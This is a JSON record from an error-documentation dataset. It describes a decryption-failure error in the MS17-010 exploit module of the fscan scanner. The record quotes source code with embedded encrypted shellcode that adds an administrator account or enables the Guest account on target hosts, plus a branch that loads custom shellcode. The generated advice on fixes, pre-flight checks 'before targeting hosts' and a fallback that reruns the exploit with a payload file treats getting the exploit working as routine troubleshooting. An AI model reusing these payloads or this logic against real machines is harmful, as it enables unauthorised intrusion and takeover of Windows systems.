{"record":{"id":"e1b596e671e8d1e6","repo":"shadow1ng/fscan","slug":"ms17010-guest-shellcode-decrypt-failed-w","errorCode":null,"errorMessage":"ms17010_guest_shellcode_decrypt_failed: %w","messagePattern":"ms17010_guest_shellcode_decrypt_failed: %w","errorType":"exception","errorClass":null,"httpStatus":null,"severity":"error","filePath":"plugins/services/ms17010.go","lineNumber":441,"sourceCode":"\t\t\treturn fmt.Errorf(\"%s: %w\", i18n.GetText(\"ms17010_bind_shellcode_decrypt_failed\"), err)\n\t\t}\n\n\tcase \"add\":\n\t\t// 添加管理员账户 shellcode (加密)\n\t\tscEnc := \"Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xOs7UApLzuCcE52FhTIjY+ckzBVinUHHwwc4QyY6Xo/15ATcQoL7ZiQgii3xFhrJQGnHgQBsmqT/0A1YBa+rrvIIzblF3FDRlXwAvUVTKnCjDJV9NeiS78jgtx6TNlBDyKCy29E3WGbMKSMH2a+dmtjBhmJ94O8GnbrHyd5c8zxsNXRBaYBV/tVyB9TDtM9kZk5QTit+xN2wOUwFa9cNbpYak8VH552mu7KISA1dUPAMQm9kF5vDRTRxjVLqpqHOc+36lNi6AWrGQkXNKcZJclmO7RotKdtPtCayNGV7/pznvewyGgEYvRKprmzf6hl+9acZmnyQZvlueWeqf+I6axiCyHqfaI+ADmz4RyJOlOC5s1Ds6uyNs+zUXCz7ty4rU3hCD8N6v2UagBJaP66XCiLOL+wcx6NJfBy40dWTq9RM0a6b448q3/mXZvdwzj1Evlcu5tDJHMdl+R2Q0a/1nahzsZ6UMJb9GAvMSUfeL9Cba77Hb5ZU40tyTQPl28cRedhwiISDq5UQsTRw35Z7bDAxJvPHiaC4hvfW3gA0iqPpkqcRfPEV7d+ylSTV1Mm9+NCS1Pn5VDIIjlClhlRf5l+4rCmeIPxQvVD/CPBM0NJ6y1oTzAGFN43kYqMV8neRAazACczYqziQ6VgjATzp0k8\"\n\t\tvar err error\n\t\tsc, err = aesDecrypt(scEnc, defaultKey)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"%s: %w\", i18n.GetText(\"ms17010_add_shellcode_decrypt_failed\"), err)\n\t\t}\n\n\tcase \"guest\":\n\t\t// 激活Guest账户 shellcode (加密)\n\t\tscEnc := \"Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx\"\n\t\tvar err error\n\t\tsc, err = aesDecrypt(scEnc, defaultKey)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"%s: %w\", i18n.GetText(\"ms17010_guest_shellcode_decrypt_failed\"), err)\n\t\t}\n\n\tcase \"cs\":\n\t\tsc = \"\"\n\n\tdefault:\n\t\t// 从文件读取或直接使用提供的shellcode\n\t\tshellcode := config.Shellcode\n\t\tif strings.Contains(shellcode, \"file:\") {\n\t\t\tread, err := os.ReadFile(shellcode[5:])\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"%s: %w\", i18n.GetText(\"ms17010_shellcode_file_read_failed\"), err)\n\t\t\t}\n\t\t\tsc = fmt.Sprintf(\"%x\", read)\n\t\t} else {\n\t\t\tsc = shellcode\n\t\t}\n\t}","sourceCodeStart":423,"sourceCodeEnd":459,"githubUrl":"https://github.com/shadow1ng/fscan/blob/95cc12e753bf43de7004e5aef42a9ffba3934303/plugins/services/ms17010.go#L423-L459","documentation":"This error is returned by executeMS17010Exploit (invoked via Exploit) when the built-in encrypted guest-account-activation shellcode fails AES decryption via aesDecrypt(scEnc, defaultKey). Like the other embedded payloads, it is a base64 AES ciphertext bound to the hard-coded defaultKey; a decryption error means ciphertext/key corruption or mismatch. The exploit aborts before touching the target.","triggerScenarios":"Calling Exploit with the shellcode type set to \"guest\" when aesDecrypt(scEnc, defaultKey) errors — invalid base64, wrong ciphertext block alignment, incorrect key size, or key/ciphertext mismatch in the build.","commonSituations":"Tampered or patched builds where the payload or key was changed; forks that replaced defaultKey but kept the stock guest ciphertext; build pipelines that truncate or reformat the very long string literal.","solutions":["Restore an unmodified build from the official source so the guest ciphertext and defaultKey are consistent.","Check the wrapped %w error: 'illegal base64 data' indicates corrupted ciphertext; 'crypto/aes: invalid key size' indicates defaultKey is not 16/24/32 bytes.","If a custom guest-activation payload is needed, use the default branch (raw shellcode string or \"file:<path>\") rather than modifying the encrypted slot.","Verify your build tooling does not alter long string literals (codegen/minification)."],"exampleFix":"// before (mismatched key in fork)\nsc, err = aesDecrypt(scEnc, forkKey)\n// after\nsc, err = aesDecrypt(scEnc, defaultKey)\nif err != nil {\n    return fmt.Errorf(\"%s: %w\", i18n.GetText(\"ms17010_guest_shellcode_decrypt_failed\"), err)\n}","handlingStrategy":"fallback","validationCode":"// pre-flight: verify guest-activation payload decrypts before targeting hosts\nif _, err := aesDecrypt(guestShellcodeEnc, defaultKey); err != nil {\n    log.Printf(\"guest shellcode unavailable: %v\", err)\n}","typeGuard":"func canUseGuestShellcode() bool {\n    _, err := aesDecrypt(guestShellcodeEnc, defaultKey)\n    return err == nil\n}","tryCatchPattern":"if err := Exploit(target, \"guest\"); err != nil {\n    if strings.Contains(err.Error(), \"ms17010_guest_shellcode_decrypt_failed\") {\n        err = Exploit(target, \"file:/opt/payloads/enableguest.bin\")\n    }\n    if err != nil { log.Printf(\"exploit failed: %v\", err) }\n}","preventionTips":["Never change defaultKey without re-encrypting all embedded payloads.","Add a decrypt self-test for every shellcode type at startup.","Avoid build pipelines that reformat/truncate long string literals.","Use the default (raw or file:) shellcode branch for customized payloads."],"tags":["crypto","aes","decrypt","shellcode"],"backgroundTag":"checksum-mismatch","analyzedSha":"95cc12e753bf43de7004e5aef42a9ffba3934303","analyzedAt":"2026-09-06T17:07:30.094Z","contentChangedAt":"2026-09-06T17:07:30.094Z","schemaVersion":2},"datasetVersion":"2026-09-14T00:17:10.932Z"}